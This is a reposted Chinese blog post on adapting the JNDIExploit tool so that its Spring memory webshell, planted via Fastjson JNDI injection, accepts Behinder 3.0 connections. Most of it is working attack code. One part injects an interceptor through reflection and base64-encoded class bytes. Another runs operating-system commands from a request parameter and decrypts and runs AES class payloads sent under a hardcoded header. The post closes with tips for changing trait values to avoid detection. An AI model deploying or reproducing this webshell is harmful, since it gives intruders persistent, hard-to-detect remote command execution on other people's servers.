序
最近复现学习Fastjson反序列化漏洞利用的时候,用JNDIExploit注入内存马发现连接不上,得魔改冰蝎,再仔细搜索了几篇文档发现新版的冰蝎已经不用魔改也可以连接了,但是目前开源的JNDIExploit的内存马逻辑得改一改。
后面一想,魔改冰蝎还不如改一改JNDIExploit,毕竟大佬的源码现在是开源的,冰蝎的反编译再编译啥的整理报错太繁杂。而且更改JNDIExploit还有好处,可以自定义内存马逻辑减少一些特征。
最后,参考文章都在文末,前人栽树、后人乘凉,感谢各位大佬。
PS:不是什么难度很高的东西,针对这些其实去年就有小团队内部或者企业内部团队已经完善,且在用。发出来只是作为分享,不用像我一样找半天文章最后还得自己想着怎么改
JNDIExploit
首先是JNDIExploit工具,github地址:https://github.com/WhiteHSBG/JNDIExploit
集成了大量gadget和大量的内存马,如下图所示:
针对JNDI注入的大部分场景都能快速利用,但是目前开源版本的代码,以及打包的jar支持的冰蝎内存马都得依靠对应魔改的冰蝎去连接,这个在ABC_123大佬文章里有魔改过程。
文章地址:https://mp.weixin.qq.com/s/qE_AArdpAVL-EoBbILb_Jg
看过上面文章的基础上,继续翻一翻Behinder源码
Behinder3.0增加
对HttpServletRequest
和HttpServletResponse的支持
ABC_123大佬已经写明了,冰蝎中BasicInfo#equals原来是依赖pageContext获取对应的request、response、session对象的,但是在冰蝎目前最新版本已经不再只依赖pageContext,增加了对HttpServletRequest和HttpServletResponse的支持。
看看具体代码逻辑是这样的(Behinder3.0beta11 反编译的)。BasicInfo#equals方法开始就会对传入的对象进行辨别,具体是BasicInfo#fillContext
BasicInfo#fillContext的处理逻辑:
从代码不难看出,BasicInfo#fillContext就是分了个类,如果传入的是PageContext对象,那就还走原来从PageContext获取request、response、session的路子,如果是Map对象,那就从Map里获取request、response、session。
明白这个,我们再看看JNDIExploit内存马实现的一些逻辑。
JNDIExploit适配冰蝎
源码github就可以下载。然后所有的内存马有关的类都在src/main/java/com/feihong/ldap/template包中
因为我是注入Spring内存马时候碰到的问题,就先从SpringMemshellTemplate这个类入手吧,当然了解原理了之后后面所有类型的都可以适配。下面是代码详细:
package com.feihong.ldap.template;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import sun.misc.BASE64Decoder;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedHashSet;
public class SpringMemshellTemplate extends AbstractTranslet {
// 这种方式经过测试,可以兼容到 1.3.0.RELEASE
public SpringMemshellTemplate(){
try{
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
field.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class clazz = null;
try{
clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicInterceptorTemplate");
}catch(ClassNotFoundException e){
try{
BASE64Decoder base64Decoder = new BASE64Decoder();
String codeClass ="yv66vgAAADMBAwoARQCFCACGCQBEAIcIAIgJAEQAiQoARACKCwCLAIwLAIsAjQgAjgoAjwCQCwCLAJEIAJILAJMAlAgAlQoAlgCXBwCYBwCZCgARAIULAJMAmgoAEQCbCACcCgARAJ0KABEAngoAjwCfCgAQAKAKAJYAoQcAogoAGwCFCwCLAKMKAKQApQoAGwCmCgCWAKcJAEQAqAgAqQcAqgcAWAcAqwoAIwCsBwCtCgCuAK8KAK4AsAoAsQCyCgAjALMHALQKACwAhQgAtQsAtgC3CABiCABkCAC4BwC5CgAzALoIALsKACUAvAcAvQgAvgkAvwDACgCxAMEKAL8AwgcAwwoAPAC6BwDECgA+ALoHAMUKAEAAugcAxgoAQgC6BwDHBwDIAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABNiZWhpbmRlclNoZWxsSGVhZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAQYmVoaW5kZXJTaGVsbFB3ZAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA2TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGU7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAAWsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAA5ldmlsQ2xhc3NCeXRlcwEAAltCAQAJZXZpbENsYXNzAQAKZXZpbE9iamVjdAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21hcAEAD0xqYXZhL3V0aWwvTWFwOwEADHRhcmdldE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcAuQEACkV4Y2VwdGlvbnMBAAppbml0aWFsaXplAQACZXgBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjb2RlAQAFYnl0ZXMBAAZtZXRob2QBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsHAMcHAKsHAL0HAMkHAMoHAMMHAMQHAMUHAMYBAApTb3VyY2VGaWxlAQAfRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUuamF2YQEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7DABLAEwBAA5YLUZPUldBUkQtVE8tQgwASABJAQAQYzEzNDllYWRhYTgwN2E3NwwASgBJDABsAEwHAMsMAMwAzQwAzgDPAQAEUE9TVAcAyQwAuADQDADRANIBAAF1BwDTDADUANUBAANBRVMHANYMANcA2AEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA2QDaDADbANwBAAAMANsA3QwA3gDPDADfAOAMAEsA4QwA4gDjAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA5ADlBwDmDADnAM8MAOgA6QwA6gDrDABGAEcBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwA7ADtAQAQamF2YS9sYW5nL09iamVjdAcA7gwA7wDwDADxAPIHAMoMAPMA9AwA9QD2AQARamF2YS91dGlsL0hhc2hNYXABAAdzZXNzaW9uBwD3DAD4APkBAAZlcXVhbHMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAD6AEwBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAPsA/AEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQcA/QwA/gBHDAD/AQAMAQEBAgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQA0Y29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZQEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQAQamF2YS9sYW5nL1N0cmluZwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldE1ldGhvZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxzZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA1qYXZhL3V0aWwvTWFwAQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAEQARQAAAAMAAgBGAEcAAAACAEgASQAAAAIASgBJAAAAAwABAEsATAABAE0AAABPAAIAAQAAABUqtwABKhICtQADKhIEtQAFKrcABrEAAAACAE4AAAAWAAUAAAAXAAQAFAAKABUAEAAYABQAGQBPAAAADAABAAAAFQBQAFEAAAABAFIAUwACAE0AAAIqAAcACwAAARsrKrQAA7kABwIAxgEPK7kACAEAEgm2AAqZAPUqtAAFOgQruQALAQASDBkEuQANAwASDrgADzoFGQUFuwAQWbsAEVm3ABIruQALAQASDLkAEwIAtgAUEhW2ABa2ABe2ABgSDrcAGbYAGhkFuwAbWbcAHCu5AB0BALYAHrYAH7YAIDoGKrQAIRIiBb0AI1kDEiRTWQQSJVO2ACYBBb0AJ1kDGQZTWQS4ACi2AClTtgAqwAAjOgcZB7YAKzoIuwAsWbcALToJGQkSLiu5AAsBALkALwMAVxkJEjAruQAvAwBXGQkSMSy5AC8DAFcZBxIyBL0AI1kDEidTtgAmOgoZChkIBL0AJ1kDGQlTtgAqV6cACjoEGQS2ADQDrASsAAEADQENARAAMwAEAE4AAABSABQAAAAdAA0AIAAbACEAIQAiADAAIwA3ACQAaAAlAIIAJgC0ACcAuwAoAMQAKQDUACoA3wArAOoALAD8AC0BDQAyARAAMAESADEBFwA0ARkANwBPAAAAegAMACEA7ABUAEkABAA3ANYAVQBWAAUAggCLAFcAWAAGALQAWQBZAEcABwC7AFIAWgBbAAgAxABJAFwAXQAJAPwAEQBeAF8ACgESAAUAYABhAAQAAAEbAFAAUQAAAAABGwBiAGMAAQAAARsAZABlAAIAAAEbAGYAWwADAGcAAAAMAAEAxABJAFwAaAAJAGkAAAALAAT7AQ1CBwBqBgEAawAAAAQAAQAzAAIAbABMAAEATQAAAeQABwAHAAAAlbgAKLYAKUwqKxI1tgA2tQAhpwBrTRI4TrsAG1m3ABwttgAfOgQBOgUSJRIiBr0AI1kDEiRTWQSyADlTWQWyADlTtgAmOgUZBQS2ADoqGQUrBr0AJ1kDGQRTWQQDuAA7U1kFGQS+uAA7U7YAKsAAI7UAIacACjoGGQa2AD2nABhMK7YAP6cAEEwrtgBBpwAITCu2AEOxAAUABwARABQANwAoAHIAdQA8AAAAfAB/AD4AAAB8AIcAQAAAAHwAjwBCAAMATgAAAF4AFwAAADwABwA+ABEASwAUAD8AFQBAABgAQQAlAEMAKABFAEYARgBMAEcAcgBKAHUASAB3AEkAfABSAH8ATACAAE0AhABSAIcATgCIAE8AjABSAI8AUACQAFEAlABTAE8AAABmAAoAdwAFAG0AbgAGABgAZABvAEkAAwAlAFcAcABYAAQAKABUAHEAXwAFABUAZwBgAHIAAgAHAHUAcwB0AAEAgAAEAGAAdQABAIgABABgAHYAAQCQAAQAYAB3AAEAAACVAFAAUQAAAGkAAABFAAf/ABQAAgcAeAcAeQABBwB6/wBgAAYHAHgHAHkHAHoHAHsHACQHAHwAAQcAff8ABgABBwB4AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA==";
byte[] bytes = base64Decoder.decodeBuffer(codeClass);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
}catch (Exception ex){
ex.printStackTrace();
}
}
adaptedInterceptors.add(clazz.newInstance());
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
具体步骤,是用TemplatsImpl链在无参构造里获取Spring的applicationContexts还有adaptedInterceptors等等上下文配置,再把一个Interceptor内存马用classloader加载,本地加载不了就Base64加载,再添加到adaptedInterceptors里,所以具体的内存马逻辑在com.feihong.ldap.template.DynamicInterceptorTemplate这个类里。
package com.feihong.ldap.template;
import org.springframework.stereotype.Controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
@Controller
public class DynamicInterceptorTemplate extends HandlerInterceptorAdapter {
private Class myClassLoaderClazz;
private String basicCmdShellPwd = "pass";
private String behinderShellHeader = "X-Options-Ai";
private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond
public DynamicInterceptorTemplate() {
initialize();
}
@Override
public boolean preHandle
(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("[+] Dynamic Interceptor says hello");
if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = request.getParameter(basicCmdShellPwd);
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\A").next();
response.getWriter().println(result);
return false;
}
}else if(request.getHeader(behinderShellHeader) != null){
//behind3 shell
try{
if (request.getMethod().equals("POST")){
String k = behinderShellPwd;
request.getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{request, response});
}
}catch(Exception e){
e.printStackTrace();
}
return false;
}
return true;
}
private void initialize(){
try{
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try{
this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader");
} catch (ClassNotFoundException e) {
String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU=";
byte[] bytes = new BASE64Decoder().decodeBuffer(code);
Method method = null;
try {
method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
DynamicInterceptorTemplate#preHandle里就是原工具CMD马和冰蝎马的拦截逻辑。
有参数type且等于basic,且有参数pass,执行pass的命令
httpheader中有behinderShellHeader(X-Options-Ai)就按冰蝎马的逻辑走
DynamicInterceptorTemplate#initialize 是冰蝎服务端逻辑里需要有一个ClassLoader,所以拦截器初始化时候加载一下,然后在冰蝎马逻辑中能看到反射equals方法是反射了一个两个参数的equals方法,且把HttpServletRequest和HttpServletResponse分别传入的,与Behinder新更新的方法逻辑不一样。
所以我们把这一块改一下,改成用Map传递:
然后编译一下把class文件输出成Base64替换掉SpringMemshellTemplate中的原Base64值,重新打包就可以使用了
给一小段class转base64的python3代码,突出一个方便:
import base64
file = open(r"aaa.class", "rb")
byte = file.read()
encodeStr = base64.b64encode(byte).decode()
print(encodeStr)
然后本地fastjson+JNDI注入利用测试:
冰蝎连接成功:(记得加http请求头)
然后我们就可以看一下之前的所有内存马的类
还有一个内存马类DynamicFilterTemplate是有适配冰蝎马的需求的,然后我们照旧改成Map传递就行。记得要将使用到DynamicFilterTemplate的几个payload类的base64都改一下
然后我们的适配工作就完成了
JNDIExploit魔改
简单的魔改我们可以改一些东西,比如最简单的监听的http头的值的更改
还有删除cmd马(按着需求来)
还有测试时用的控制台输出也可以毙掉
文章来源:火线zone
如侵权请私聊公众号删文
原文始发于微信公众号(哪都通安全):干货 | JNDI注入- JNDIExploit 改写内存马适配冰蝎3.0以及魔改
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论